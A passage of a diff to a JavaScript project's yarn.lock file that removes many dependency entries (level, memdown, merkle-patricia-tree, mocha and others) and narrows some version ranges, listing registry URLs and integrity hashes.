"https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-3.0.1.tgz" - integrity sha512-nEIQvxEED9yRThxvOrq8Aqziy4EGzrxSZK+QzEFAVuJvQ8glfyZ96GB6BoI4sBbLfjMXm2w4vu3Tkcm9obcY0g== - dependencies: - inherits "^2.0.1" - readable-stream "^2.3.6" - xtend "^4.0.0" - -level-mem@^3.0.1: - version "3.0.1" - resolved "https://registry.npmjs.org/level-mem/-/level-mem-3.0.1.tgz" - integrity sha512-LbtfK9+3Ug1UmvvhR2DqLqXiPW1OJ5jEh0a3m9ZgAipiwpSxGj/qaVVy54RG5vAQN1nCuXqjvprCuKSCxcJHBg== - dependencies: - level-packager "~4.0.0" - memdown "~3.0.0" - -level-packager@~4.0.0: - version "4.0.1" - resolved "https://registry.npmjs.org/level-packager/-/level-packager-4.0.1.tgz" - integrity sha512-svCRKfYLn9/4CoFfi+d8krOtrp6RoX8+xm0Na5cgXMqSyRru0AnDYdLl+YI8u1FyS6gGZ94ILLZDE5dh2but3Q== - dependencies: - encoding-down "~5.0.0" - levelup "^3.0.0" - -level-post@^1.0.7: - version "1.0.7" - resolved "https://registry.npmjs.org/level-post/-/level-post-1.0.7.tgz" - integrity sha512-PWYqG4Q00asOrLhX7BejSajByB4EmG2GaKHfj3h5UmmZ2duciXLPGYWIjBzLECFWUGOZWlm5B20h/n3Gs3HKew== - dependencies: - ltgt "^2.1.2" - -level-sublevel@6.6.4: - version "6.6.4" - resolved "https://registry.npmjs.org/level-sublevel/-/level-sublevel-6.6.4.tgz" - integrity sha512-pcCrTUOiO48+Kp6F1+UAzF/OtWqLcQVTVF39HLdZ3RO8XBoXt+XVPKZO1vVr1aUoxHZA9OtD2e1v7G+3S5KFDA== - dependencies: - bytewise "~1.1.0" - level-codec "^9.0.0" - level-errors "^2.0.0" - level-iterator-stream "^2.0.3" - ltgt "~2.1.1" - pull-defer "^0.2.2" - pull-level "^2.0.3" - pull-stream "^3.6.8" - typewiselite "~1.0.0" - xtend "~4.0.0" - -level-supports@^4.0.0: - version "4.0.1" - resolved "https://registry.npmjs.org/level-supports/-/level-supports-4.0.1.tgz" - integrity sha512-PbXpve8rKeNcZ9C1mUicC9auIYFyGpkV9/i6g76tLgANwWhtG2v7I4xNBUlkn3lE2/dZF3Pi0ygYGtLc4RXXdA== - -level-transcoder@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/level-transcoder/-/level-transcoder-1.0.1.tgz" - integrity sha512-t7bFwFtsQeD8cl8NIoQ2iwxA0CL/9IFw7/9gAjOonH0PWTTiRfY7Hq+Ejbsxh86tXobDQ6IOiddjNYIfOBs06w== - dependencies: - buffer "^6.0.3" - module-error "^1.0.1" - -level-ws@0.0.0: - version "0.0.0" - resolved "https://registry.npmjs.org/level-ws/-/level-ws-0.0.0.tgz" - integrity sha512-XUTaO/+Db51Uiyp/t7fCMGVFOTdtLS/NIACxE/GHsij15mKzxksZifKVjlXDF41JMUP/oM1Oc4YNGdKnc3dVLw== - dependencies: - readable-stream "~1.0.15" - xtend "~2.1.1" - -level-ws@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/level-ws/-/level-ws-1.0.0.tgz" - integrity sha512-RXEfCmkd6WWFlArh3X8ONvQPm8jNpfA0s/36M4QzLqrLEIt1iJE9WBHLZ5vZJK6haMjJPJGJCQWfjMNnRcq/9Q== - dependencies: - inherits "^2.0.3" - readable-stream "^2.2.8" - xtend "^4.0.1" - -level@^8.0.0: - version "8.0.0" - resolved "https://registry.npmjs.org/level/-/level-8.0.0.tgz" - integrity sha512-ypf0jjAk2BWI33yzEaaotpq7fkOPALKAgDBxggO6Q9HGX2MRXn0wbP1Jn/tJv1gtL867+YOjOB49WaUF3UoJNQ== - dependencies: - browser-level "^1.0.1" - classic-level "^1.2.0" - -levelup@3.1.1, levelup@^3.0.0: - version "3.1.1" - resolved "https://registry.npmjs.org/levelup/-/levelup-3.1.1.tgz" - integrity sha512-9N10xRkUU4dShSRRFTBdNaBxofz+PGaIZO962ckboJZiNmLuhVT6FZ6ZKAsICKfUBO76ySaYU6fJWX/jnj3Lcg== - dependencies: - deferred-leveldown "~4.0.0" - level-errors "~2.0.0" - level-iterator-stream "~3.0.0" - xtend "~4.0.0" - -levelup@^1.2.1: - version "1.3.9" - resolved "https://registry.npmjs.org/levelup/-/levelup-1.3.9.tgz" - integrity sha512-VVGHfKIlmw8w1XqpGOAGwq6sZm2WwWLmlDcULkKWQXEA5EopA8OBNJ2Ck2v6bdk8HeEZSbCSEgzXadyQFm76sQ== - dependencies: - deferred-leveldown "~1.2.1" - level-codec "~7.0.0" - level-errors "~1.0.3" - level-iterator-stream "~1.3.0" - prr "~1.0.1" - semver "~5.4.1" - xtend "~4.0.0" - leven@^3.1.0: version "3.1.0" resolved "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz" @@ -11506,14 +8799,6 @@ loader-utils@^2.0.0: emojis-list "^3.0.0" json5 "^2.1.2" -locate-path@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz" - integrity sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA== - dependencies: - p-locate "^2.0.0" - path-exists "^3.0.0" - locate-path@^3.0.0: version "3.0.0" resolved "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz" @@ -11529,13 +8814,6 @@ locate-path@^5.0.0: dependencies: p-locate "^4.1.0" -locate-path@^6.0.0: - version "6.0.0" - resolved "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz" - integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw== - dependencies: - p-locate "^5.0.0" - lodash._reinterpolate@^3.0.0: version "3.0.0" resolved "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz" @@ -11551,11 +8829,6 @@ lodash.debounce@^4.0.8: resolved "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz" integrity sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow== -lodash.flatten@^4.4.0: - version "4.4.0" - resolved "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz" - integrity sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g== - lodash.memoize@^4.1.2: version "4.1.2" resolved "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz" @@ -11591,60 +8864,23 @@ lodash.uniq@^4.5.0: resolved "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz" integrity sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ== -lodash@4.17.20: - version "4.17.20" - resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz" - integrity sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA== - -"lodash@>=3.5 <5", lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.4, lodash@^4.17.5, lodash@^4.7.0: +"lodash@>=3.5 <5", lodash@^4.17.11, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5, lodash@^4.7.0: version "4.17.21" resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz" integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== -log-symbols@3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/log-symbols/-/log-symbols-3.0.0.tgz" - integrity sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ== - dependencies: - chalk "^2.4.2" - -log-symbols@4.1.0: - version "4.1.0" - resolved "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz" - integrity sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg== - dependencies: - chalk "^4.1.0" - is-unicode-supported "^0.1.0" - loglevel@^1.6.8: version "1.8.1" resolved "https://registry.npmjs.org/loglevel/-/loglevel-1.8.1.tgz" integrity sha512-tCRIJM51SHjAayKwC+QAg8hT8vg6z7GSgLJKGvzuPb1Wc+hLzqtuVLxp6/HzSPOozuK+8ErAhy7U/sVzw8Dgfg== -looper@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/looper/-/looper-2.0.0.tgz" - integrity sha512-6DzMHJcjbQX/UPHc1rRCBfKlLwDkvuGZ715cIR36wSdYqWXFT35uLXq5P/2orl3tz+t+VOVPxw4yPinQlUDGDQ== - -looper@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/looper/-/looper-3.0.0.tgz" - integrity sha512-LJ9wplN/uSn72oJRsXTx+snxPet5c8XiZmOKCm906NVYu+ag6SB6vUcnJcWxgnl2NfbIyeobAn7Bwv6xRj2XJg== - -loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.4.0: +loose-envify@^1.1.0, loose-envify@^1.4.0: version "1.4.0" resolved "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz" integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q== dependencies: js-tokens "^3.0.0 || ^4.0.0" -loupe@^2.3.1: - version "2.3.6" - resolved "https://registry.npmjs.org/loupe/-/loupe-2.3.6.tgz" - integrity sha512-RaPMZKiMy8/JruncMU5Bt6na1eftNoo++R4Y+N2FrxkDVTrGvcyzFTsaGif4QTeKESheMGegbhw6iUAq+5A8zA== - dependencies: - get-func-name "^2.0.0" - lower-case-first@^1.0.0: version "1.0.2" resolved "https://registry.npmjs.org/lower-case-first/-/lower-case-first-1.0.2.tgz" @@ -11679,20 +8915,13 @@ lowercase-keys@^3.0.0: resolved "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-3.0.0.tgz" integrity sha512-ozCC6gdQ+glXOQsveKD0YsDy8DSQFjDTz4zyzEHNV5+JP5D62LmfDZ6o1cycFx9ouG940M5dE8C8CTewdj2YWQ== -lru-cache@5.1.1, lru-cache@^5.1.1: +lru-cache@^5.1.1: version "5.1.1" resolved "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz" integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w== dependencies: yallist "^3.0.2" -lru-cache@^3.2.0: - version "3.2.0" - resolved "https://registry.npmjs.org/lru-cache/-/lru-cache-3.2.0.tgz" - integrity sha512-91gyOKTc2k66UG6kHiH4h3S2eltcPwE1STVfMYC/NG+nZwf8IIuiamfmpGZjpbbxzSyEJaLC0tNSmhjlQUTJow== - dependencies: - pseudomap "^1.0.1" - lru-cache@^6.0.0: version "6.0.0" resolved "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz" @@ -11700,21 +8929,6 @@ lru-cache@^6.0.0: dependencies: yallist "^4.0.0" -lru_map@^0.3.3: - version "0.3.3" - resolved "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz" - integrity sha512-Pn9cox5CsMYngeDbmChANltQl+5pi6XmTrraMSzhPmMBbmgcxmqWry0U3PGapCU1yB4/LqCcom7qhHZiF/jGfQ== - -ltgt@^2.1.2, ltgt@~2.2.0: - version "2.2.1" - resolved "https://registry.npmjs.org/ltgt/-/ltgt-2.2.1.tgz" - integrity sha512-AI2r85+4MquTw9ZYqabu4nMwy9Oftlfa/e/52t9IjtfG+mGBbTNdAoZ3RQKLHR6r0wQnwZnPIEh/Ya6XTWAKNA== - -ltgt@~2.1.1: - version "2.1.3" - resolved "https://registry.npmjs.org/ltgt/-/ltgt-2.1.3.tgz" - integrity sha512-5VjHC5GsENtIi5rbJd+feEpDKhfr7j0odoUR2Uh978g+2p93nd5o34cTjQWohXsPsCZeqoDnIqEf88mPCe0Pfw== - magic-string@^0.25.0, magic-string@^0.25.7: version "0.25.9" resolved "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz" @@ -11756,11 +8970,6 @@ map-visit@^1.0.0: dependencies: object-visit "^1.0.0" -markdown-table@^1.1.3: - version "1.1.3" - resolved "https://registry.npmjs.org/markdown-table/-/markdown-table-1.1.3.tgz" - integrity sha512-1RUZVgQlpJSPWYbFSpmudq5nHY1doEIv89gBtF0s4gW1GF2XorxcA/70M5vq7rLv0a6mhOUccRsqkwhwLCIQ2Q== - matchmediaquery@^0.3.0: version "0.3.1" resolved "https://registry.npmjs.org/matchmediaquery/-/matchmediaquery-0.3.1.tgz" @@ -11768,11 +8977,6 @@ matchmediaquery@^0.3.0: dependencies: css-mediaquery "^0.1.2" -mcl-wasm@^0.7.1: - version "0.7.9" - resolved "https://registry.npmjs.org/mcl-wasm/-/mcl-wasm-0.7.9.tgz" - integrity sha512-iJIUcQWA88IJB/5L15GnJVnSQJmf/YaxxV6zRavv83HILHaJQb6y0iFyDMdDO0gN8X37tdxmAOrH/P8B6RB8sQ== - md5.js@^1.3.4: version "1.3.5" resolved "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz" @@ -11844,30 +9048,6 @@ media-typer@0.3.0: resolved "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz" integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ== -memdown@^1.0.0: - version "1.4.1" - resolved "https://registry.npmjs.org/memdown/-/memdown-1.4.1.tgz" - integrity sha512-iVrGHZB8i4OQfM155xx8akvG9FIj+ht14DX5CQkCTG4EHzZ3d3sgckIf/Lm9ivZalEsFuEVnWv2B2WZvbrro2w== - dependencies: - abstract-leveldown "~2.7.1" - functional-red-black-tree "^1.0.1" - immediate "^3.2.3" - inherits "~2.0.1" - ltgt "~2.2.0" - safe-buffer "~5.1.1" - -memdown@~3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/memdown/-/memdown-3.0.0.tgz" - integrity sha512-tbV02LfZMWLcHcq4tw++NuqMO+FZX8tNJEiD2aNRm48ZZusVg5N8NART+dmBkepJVye986oixErf7jfXboMGMA== - dependencies: - abstract-leveldown "~5.0.0" - functional-red-black-tree "~1.0.1" - immediate "~3.2.3" - inherits "~2.0.1" - ltgt "~2.2.0" - safe-buffer "~5.1.1" - memory-fs@^0.4.1: version "0.4.1" resolved "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz" @@ -11884,15 +9064,6 @@ memory-fs@^0.5.0: errno "^0.1.3" readable-stream "^2.0.1" -memory-level@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/memory-level/-/memory-level-1.0.0.tgz" - integrity sha512-UXzwewuWeHBz5krr7EvehKcmLFNoXxGcvuYhC41tRnkrTbJohtS7kVn9akmgirtRygg+f7Yjsfi8Uu5SGSQ4Og== - dependencies: - abstract-level "^1.0.0" - functional-red-black-tree "^1.0.1" - module-error "^1.0.1" - memorystream@^0.3.1: version "0.3.1" resolved "https://registry.npmjs.org/memorystream/-/memorystream-0.3.1.tgz" @@ -11913,33 +9084,6 @@ merge2@^1.3.0, merge2@^1.4.1: resolved "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz" integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg== -merkle-patricia-tree@3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/merkle-patricia-tree/-/merkle-patricia-tree-3.0.0.tgz" - integrity sha512-soRaMuNf/ILmw3KWbybaCjhx86EYeBbD8ph0edQCTed0JN/rxDt1EBN52Ajre3VyGo+91f8+/rfPIRQnnGMqmQ== - dependencies: - async "^2.6.1" - ethereumjs-util "^5.2.0" - level-mem "^3.0.1" - level-ws "^1.0.0" - readable-stream "^3.0.6" - rlp "^2.0.0" - semaphore ">=1.0.1" - -merkle-patricia-tree@^2.1.2, merkle-patricia-tree@^2.3.2: - version "2.3.2" - resolved "https://registry.npmjs.org/merkle-patricia-tree/-/merkle-patricia-tree-2.3.2.tgz" - integrity sha512-81PW5m8oz/pz3GvsAwbauj7Y00rqm81Tzad77tHBwU7pIAtN+TJnMSOJhxBKflSVYhptMMb9RskhqHqrSm1V+g== - dependencies: - async "^1.4.2" - ethereumjs-util "^5.0.0" - level-ws "0.0.0" - levelup "^1.2.1" - memdown "^1.0.0" - readable-stream "^2.0.0" - rlp "^2.0.0" - semaphore ">=1.0.1" - methods@~1.1.2: version "1.1.2" resolved "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz" @@ -12251,13 +9395,6 @@ minimatch@3.0.4: dependencies: brace-expansion "^1.1.7" -minimatch@5.0.1: - version "5.0.1" - resolved "https://registry.npmjs.org/minimatch/-/minimatch-5.0.1.tgz" - integrity sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g== - dependencies: - brace-expansion "^2.0.1" - minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2: version "3.1.2" resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz" @@ -12265,7 +9402,7 @@ minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2: dependencies: brace-expansion "^1.1.7" -minimist@^1.1.1, minimist@^1.2.0, minimist@^1.2.5, minimist@^1.2.6, minimist@~1.2.6: +minimist@^1.1.1, minimist@^1.2.0, minimist@^1.2.6: version "1.2.7" resolved "https://registry.npmjs.org/minimist/-/minimist-1.2.7.tgz" integrity sha512-bzfL1YUZsP41gmu/qjrEk0Q6i2ix/cVeAhbCbqH9u3zYutS1cLg00qhrD0M2MVdCcx4Sc0UpP2eBWo9rotpq6g== @@ -12357,13 +9494,6 @@ mkdirp@*, mkdirp@^1.0.3, mkdirp@^1.0.4: resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz" integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw== -mkdirp@0.5.5: - version "0.5.5" - resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz" - integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ== - dependencies: - minimist "^1.2.5" - mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@^0.5.6, mkdirp@~0.5.1: version "0.5.6" resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz" @@ -12371,80 +9501,11 @@ mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@^0.5.6, mkdirp@~0.5.1: dependencies: minimist "^1.2.6" -mnemonist@^0.38.0: - version "0.38.5" - resolved "https://registry.npmjs.org/mnemonist/-/mnemonist-0.38.5.tgz" - integrity sha512-bZTFT5rrPKtPJxj8KSV0WkPyNxl72vQepqqVUAW2ARUpUSF2qXMB6jZj7hW5/k7C1rtpzqbD/IIbJwLXUjCHeg== - dependencies: - obliterator "^2.0.0" - -mocha@^10.0.0: - version "10.1.0" - resolved "https://registry.npmjs.org/mocha/-/mocha-10.1.0.tgz" - integrity sha512-vUF7IYxEoN7XhQpFLxQAEMtE4W91acW4B6En9l97MwE9stL1A9gusXfoHZCLVHDUJ/7V5+lbCM6yMqzo5vNymg== - dependencies: - ansi-colors "4.1.1" - browser-stdout "1.3.1" - chokidar "3.5.3" - debug "4.3.4" - diff "5.0.0" - escape-string-regexp "4.0.0" - find-up "5.0.0" - glob "7.2.0" - he "1.2.0" - js-yaml "4.1.0" - log-symbols "4.1.0" - minimatch "5.0.1" - ms "2.1.3" - nanoid "3.3.3" - serialize-javascript "6.0.0" - strip-json-comments "3.1.1" - supports-color "8.1.1" - workerpool "6.2.1" - yargs "16.2.0" - yargs-parser "20.2.4" - yargs-unparser "2.0.0" - -mocha@^7.1.1: - version "7.2.0" - resolved "https://registry.npmjs.org/mocha/-/mocha-7.2.0.tgz" - integrity sha512-O9CIypScywTVpNaRrCAgoUnJgozpIofjKUYmJhiCIJMiuYnLI6otcb1/kpW9/n/tJODHGZ7i8aLQoDVsMtOKQQ== - dependencies: - ansi-colors "3.2.3" - browser-stdout "1.3.1" - chokidar "3.3.0" - debug "3.2.6" - diff "3.5.0" - escape-string-regexp "1.0.5" - find-up "3.0.0" - glob "7.1.3" - growl "1.10.5" - he "1.2.0" - js-yaml "3.13.1" - log-symbols "3.0.0" - minimatch "3.0.4" - mkdirp "0.5.5" - ms "2.1.1" - node-environment-flags "1.0.6" - object.assign "4.1.0" - strip-json-comments "2.0.1" - supports-color "6.0.0" - which "1.3.1" - wide-align "1.1.3" - yargs "13.3.2" - yargs-parser "13.1.2" - yargs-unparser "1.6.0" - mock-fs@^4.1.0: version "4.14.0" resolved "https://registry.npmjs.org/mock-fs/-/mock-fs-4.14.0.tgz" integrity sha512-qYvlv/exQ4+svI3UOvPUpLDF0OMX5euvUH0Ny4N5QyRyhNdgAgUrVH3iUINSzEPLvx0kbo/Bp28GJKIqvE7URw== -module-error@^1.0.1, module-error@^1.0.2: - version "1.0.2" - resolved "https://registry.npmjs.org/module-error/-/module-error-1.0.2.tgz" - integrity sha512-0yuvsqSCv8LbaOKhnsQ/T5JhyFlCYLPXK3U2sgV10zoKQwzs/MyfuQUOZQ1V/6OCOJsK/TRgNVrPuPDqtdMFtA== - moment@^2.29.2: version "2.29.4" resolved "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz" @@ -12472,11 +9533,6 @@ ms@2.0.0: resolved "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz" integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A== -ms@2.1.1: - version "2.1.1" - resolved "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz" - integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg== - ms@2.1.2: version "2.1.2" resolved "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz" @@ -12540,11 +9596,6 @@ multihashes@^0.4.15, multihashes@~0.4.15: multibase "^0.7.0" varint "^5.0.0" -mute-stream@~0.0.4: - version "0.0.8" - resolved "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz" - integrity sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA== - nan@^2.12.1: version "2.17.0" resolved "https://registry.yarnpkg.com/nan/-/nan-2.17.0.tgz#c0150a2368a182f033e9aa5195ec76ea41a199cb" @@ -12560,11 +9611,6 @@ nano-json-stream-parser@^0.1.2: resolved "https://registry.npmjs.org/nano-json-stream-parser/-/nano-json-stream-parser-0.1.2.tgz" integrity sha512-9MqxMH/BSJC7dnLsEMPyfN5Dvoo49IsPFYMcHw3Bcfc2kN0lpHRBSzlMSVx4HGyJ7s9B31CyBTVehWJoQ8Ctew== -nanoid@3.3.3: - version "3.3.3" - resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz" - integrity sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w== - nanoid@^3.3.4: version "3.3.4" resolved "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz" @@ -12587,11 +9633,6 @@ nanomatch@^1.2.9: snapdragon "^0.8.1" to-regex "^3.0.1" -napi-macros@~2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/napi-macros/-/napi-macros-2.0.0.tgz" - integrity sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg== - native-url@^0.2.6: version "0.2.6" resolved "https://registry.npmjs.org/native-url/-/native-url-0.2.6.tgz" @@ -12644,29 +9685,13 @@ node-addon-api@^2.0.0: resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-2.0.2.tgz" integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA== -node-environment-flags@1.0.6: - version "1.0.6" - resolved "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.6.tgz" - integrity sha512-5Evy2epuL+6TM0lCQGpFIj6KwiEsGh1SrHUhTbNX+sLbBtjidPZFAnVK9y5yU1+h//RitLbRHTIMyxQPtxMdHw== - dependencies: - object.getownpropertydescriptors "^2.0.3" - semver "^5.7.0" - -node-fetch@2.6.7, node-fetch@^2.6.0, node-fetch@^2.6.1, node-fetch@^2.6.7: +node-fetch@2.6.7: version "2.6.7" resolved "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz" integrity sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ== dependencies: whatwg-url "^5.0.0" -node-fetch@~1.7.1: - version "1.7.3" - resolved "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz" - integrity sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ== - dependencies: - encoding "^0.1.11" - is-stream "^1.0.1" - node-forge@^0.10.0: version "0.10.0" resolved "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz" @@ -12738,11 +9763,6 @@ nofilter@^1.0.4: resolved "https://registry.npmjs.org/nofilter/-/nofilter-1.0.4.tgz" integrity sha512-N8lidFp+fCz+TD51+haYdbDGrcBWwuHX40F5+z0qkUjMJ5Tp+rdSuAkMJ9N9eoolDlEVTf6u5icM+cNKkKW2mA== -nofilter@^3.1.0: - version "3.1.0" - resolved "https://registry.npmjs.org/nofilter/-/nofilter-3.1.0.tgz" - integrity sha512-l2NNj07e9afPnhAhvgVrCD/oy2Ai1yfLpuo3EpiO1jFTsB4sFz6oIfAfSZyQzVpkZQ9xS8ZS5g1jCBgq4Hwo0g== - normalize-package-data@^2.3.2, normalize-package-data@^2.5.0: version "2.5.0" resolved "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz" @@ -12851,7 +9871,7 @@ oauth-sign@~0.9.0: resolved "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz" integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ== -object-assign@^4, object-assign@^4.0.0, object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1: +object-assign@^4, object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1: version "4.1.1" resolved "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz" integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg== @@ -12865,7 +9885,7 @@ object-copy@^0.1.0: define-property "^0.2.5" kind-of "^3.0.3" -object-inspect@^1.12.2, object-inspect@^1.9.0, object-inspect@~1.12.2: +object-inspect@^1.12.2, object-inspect@^1.9.0: version "1.12.2" resolved "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.2.tgz" integrity sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ== @@ -12878,16 +9898,11 @@ object-is@^1.0.1: call-bind "^1.0.2" define-properties "^1.1.3" -object-keys@^1.0.11, object-keys@^1.1.1: +object-keys@^1.1.1: version "1.1.1" resolved "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz" integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA== -object-keys@~0.4.0: - version "0.4.0" - resolved "https://registry.npmjs.org/object-keys/-/object-keys-0.4.0.tgz" - 